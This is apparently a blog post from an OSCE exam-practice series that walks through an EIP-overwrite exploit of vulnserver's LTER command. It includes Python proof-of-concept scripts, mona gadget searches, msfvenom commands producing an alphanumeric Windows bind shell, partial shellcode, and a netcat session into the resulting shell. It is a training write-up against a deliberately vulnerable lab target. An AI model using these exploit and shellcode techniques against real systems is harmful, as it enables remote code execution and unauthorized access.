Tags: osce, vulnserver, windbg, boofuzz
In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).
DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!
Other posts in the series:
Welcome to part eight! This post originally started as an SEH overwrite. I eventually noticed that LTER could be exploited by both an EIP overwrite as well as SEH. I decided to break up LTER into two posts covering both avenues of attack. Doing so allows me to step through some problems and write about them during the much simpler EIP overwrite, keeping the SEH overwrite post to a much more manageable length. Let’s get started!
In case you’d like a more detailed explanation, Part II - Fuzzing
The steps for auto-fuzzing with boofuzz remain the same as previous posts. Below are the fuzz strings that caused crashes and the number of characters they sent.
109: "deadbeef" * 750
374: '"' * 4100
376: '"' * 4102
335: '"' * 32775
345: '"' * 100005
249: "<" * 20005
253: "<" * 100005
8: "\\*"
We’ll use test case #109 for our initial PoC.
1import struct
2import socket
3
4VULNSRVR_CMD = b"LTER " # change me
5CRASH_LEN = 3005 # change me
6
7target = ("127.0.0.1", 9999) # vulnserver
8
9payload = VULNSRVR_CMD
10payload += b"\xde\xad\xbe\xef" * (CRASH_LEN // 4)
11
12with socket.create_connection(target) as sock:
13 sock.recv(512) # Welcome to Vulnerable Server! ...
14
15 sent = sock.send(payload)
16 print(f"sent {sent} bytes")
After throwing the exploit, we’re presented with the information below.
It’s obvious that EAX points to our buffer, but those bytes are not the bytes we sent. There’s some form of byte mangling happening with our initial PoC. Similar to HTER, we’re going to go straight from initial PoC to bad character identification. More specifically, we’re going to figure out what the heck the program is doing with our payload before proceeding.
We’ll begin by tossing the normal bad character finding bytearray at vulnserver. First, we need to generate the .bin file so mona can use it for comparison.
!py mona ba -cpb 0x00
═════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py ba -cpb 0x00
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile c:\monalogs\vulnserver_1568\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 255 bytes to file c:\monalogs\vulnserver_1568\bytearray.txt
Binary output saved in c:\monalogs\vulnserver_1568\bytearray.bin
Next, we’ll update our id-bad-chars template and give it a whirl.
17-------------8<-------------
18payload = VULNSRVR_CMD
19payload += bad_chars
20payload += b"\xde\xad\xbe\xef" * ((CRASH_LEN // 4) - len(payload))
21-------------8<-------------
After throwing the bad character finder, we can look at EAX and immediately see something interesting. After a certain point, our bytearray repeats itself; interesting.
Let’s dig a little deeper with mona.
!py mona compare -f c:\monalogs\vulnserver_1568\bytearray.bin -a eax+5
The results above are incredibly informative. 0x01
through 0x7f
make it through unharmed. Then, there’s effectively a modulo operation happening that keeps any bytes sent within that same range (with the exception of 0xff
which gets transformed into 0x80
).
Now we know we’re dealing with a restricted character set of 0x01
through 0x80
. Let’s get back to our normal flow and identify the distance to our EIP overwrite.
To find the offset we’ll throw a normal mona-generated cyclic pattern using our find-offset template. However, when we do, it doesn’t cause a crash. We’ll take a page out of our initial crash’s book and add \xde\xad\xbe\xef
to our payload.
9-------------8<-------------
10payload = VULNSRVR_CMD
11payload += b"\xde\xad\xbe\xef"
12payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A..."
13-------------8<-------------
When we fire the offset finder this time, we’re rewarded with a crash!
It appears as though we need to trigger the byte mangling aspect of the LTER command in order to receive a crash. This didn’t happen with the pattern by itself because all of the characters sent fall within the allowable range.
Let’s spin up mona and do some information gathering about how to proceed with our exploit.
!py mona suggest -t tcpclient:9999
══════════════════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py suggest -t tcpclient:9999
-------------8<-------------
[+] Examining registers
EIP contains normal pattern : 0x386f4337 (offset 2003)
ESP (0x01b7f9e0) points at offset 2007 in normal pattern (length 998)
EBP contains normal pattern : 0x6f43366f (offset 1999)
-------------8<-------------
'Targets' =>
[
[ '<fill in the OS/app version here>',
{
'Ret' => 0x625011af, # jmp esp - essfunc.dll
'Offset' => 2003
}
],
],
-------------8<-------------
Nice! We now know the following:
Using the information gained from mona’s suggest
command, we can update our find-offset template again to confirm the overwrite’s location.
9-------------8<-------------
10payload = VULNSRVR_CMD
11payload += b"\xde\xad\xbe\xef"
12# payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9..."
13
14# Then use the structure below to confirm the offset
15payload += b"A" * OFFSET
16payload += b"B" * 4
17payload += b"C" * (CRASH_LEN - len(payload))
18-------------8<-------------
Nice! We’ve got our offsets in place.
While it’s super cool that mona gave us a jmp esp gadget to use, it won’t actually work for us. The address given to us (0x625011af
) contains a character that will get mangled by vulnserver. If we refer back to our comparison results, we can see that 0xaf
will become 0x30
. Our EIP overwrite would then be 0x62501130
, which definitely does not point to a jmp esp.
Let’s run mona’s jmp
command and find a gadget where all four bytes fall into our allowable range.
!py mona jmp -r esp -cp ascii
═════════════════════════════
-------------8<-------------
0x62501203 | 0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll]
0x62501205 | 0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll]
Either one of the addresses above meet our requirements. That’s because we used -cp ascii
in our mona command. -cp
is a global flag that allows us to specify filtering criteria to mona commands. We told mona we don’t want addresses that contain bytes that fall outside the ascii range.
Let’s plug one into our final-poc template and ensure it makes it through to the EIP offset.
49-------------8<-------------
50payload = VULNSRVR_CMD
51payload += b"\xde\xad\xbe\xef"
52payload += b"A" * OFFSET
53payload += struct.pack("<I", 0x62501203)
54-------------8<-------------
Once we’re in windbg, the address that overwrote EIP points to a valid jmp esp.
It looks like our jmp esp is good to go, let’s work on our bind shell next.
The last obstacle in our way is that of our bind shell. It’s an obstacle because even when we use the x86/alpha_mixed
encoder to generate alphanumeric shellcode, there are non-alphanumeric bytes at the start of the payload!
This command
msfvenom -p windows/shell_bind_tcp -e x86/alpha_mixed LPORT=12345 EXITFUNC=thread -f python -v shellcode
Generates these instructions (truncated for brevity)
These first few non-alphanumeric instructions are needed in order to find the payload’s absolute location in memory, making it fully position-independent.
The fcmovne
instruction is a floating point unit (FPU) conditional move. A side effect of using certain FPU instructions is that they populate an FPU environment. With the FPU environment present, the fnstenv
instruction can write that environment to a given address.
The FPU environment is defined in sys/user.h as the user_fpregs_struct
struct. In that definition we see that at offset 12, there is a long int that contains the value of EIP. That explains why we see fnstenv [esp - 0xc]
; when we write the FPU environment starting at 12 bytes before ESP, it places the value of EIP on the top of the stack. With that done, it’s free to be popped off the stack into some other register for further manipulation (EBX in the example).
struct user_fpregs_struct
{
long int cwd; // control word
long int swd; // status word
long int twd; // tag word
long int fip; // FPU Instruction Pointer Offset <-- What we care about
-------------8<-------------
};
Now that we understand why those non-alphanumeric bytes are there, let’s get rid of them!
There is an option to our encoder called BUFFERREGISTER
. We can specify a register that points directly at our payload, if we have such a register. In doing so, the instructions discussed above are skipped, as all relative addressing will be performed based on the value passed to BUFFERREGISTER
.
Our shellcode will be located directly at ESP, so we can simply use the following command to generate our bind shell.
msfvenom -p windows/shell_bind_tcp -e x86/alpha_mixed BUFFERREGISTER=esp LPORT=12345 EXITFUNC=thread -f python -v shellcode
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of python file: 3962 bytes
shellcode = b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
-------------8<-------------
Side note: there’s also a
BUFFEROFFSET
variable that I haven’t seen much discussion on. Reading throughmetasploit-framework/modules/encoders/x86/alpha_mixed.rb
, it looks like one could use this variable and theBUFFERREGISTER
variable together to do something like ESP + 24, or whatever makes sense in the given situation.
If we look closely at the first few opcodes, we can see that they’re all within our allowed ascii range; the non-alphanumeric bytes are gone!
Let’s update our final-poc template.
3-------------8<-------------
4VULNSRVR_CMD = b"LTER " # change me
5CRASH_LEN = 3005 # change me
6OFFSET = 2003 # change me
7SLED_LENGTH = 20
8
9target = ("127.0.0.1", 9999) # vulnserver
10
11# msfvenom -p windows/shell_bind_tcp -e x86/alpha_mixed BUFFERREGISTER=esp LPORT=12345 EXITFUNC=thread -f python -v shellcode
12# Payload size: 710 bytes
13shellcode = b""
14shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
15shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
16-------------8<-------------
17payload = VULNSRVR_CMD
18payload += b"\xde\xad\xbe\xef"
19payload += b"A" * OFFSET
20payload += struct.pack("<I", 0x62501203)
21payload += shellcode
22payload += b"C" * (CRASH_LEN - len(payload))
23-------------8<-------------
If all goes well when we throw the code above, we should see a listener on port 12345 open up.
nc -vn 127.0.0.1 12345
══════════════════════
(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master>
The EIP overwrite version of LTER is relatively simple. In the next post we’ll look at the more complex version of the LTER exploit that targets an SEH overwrite instead of EIP.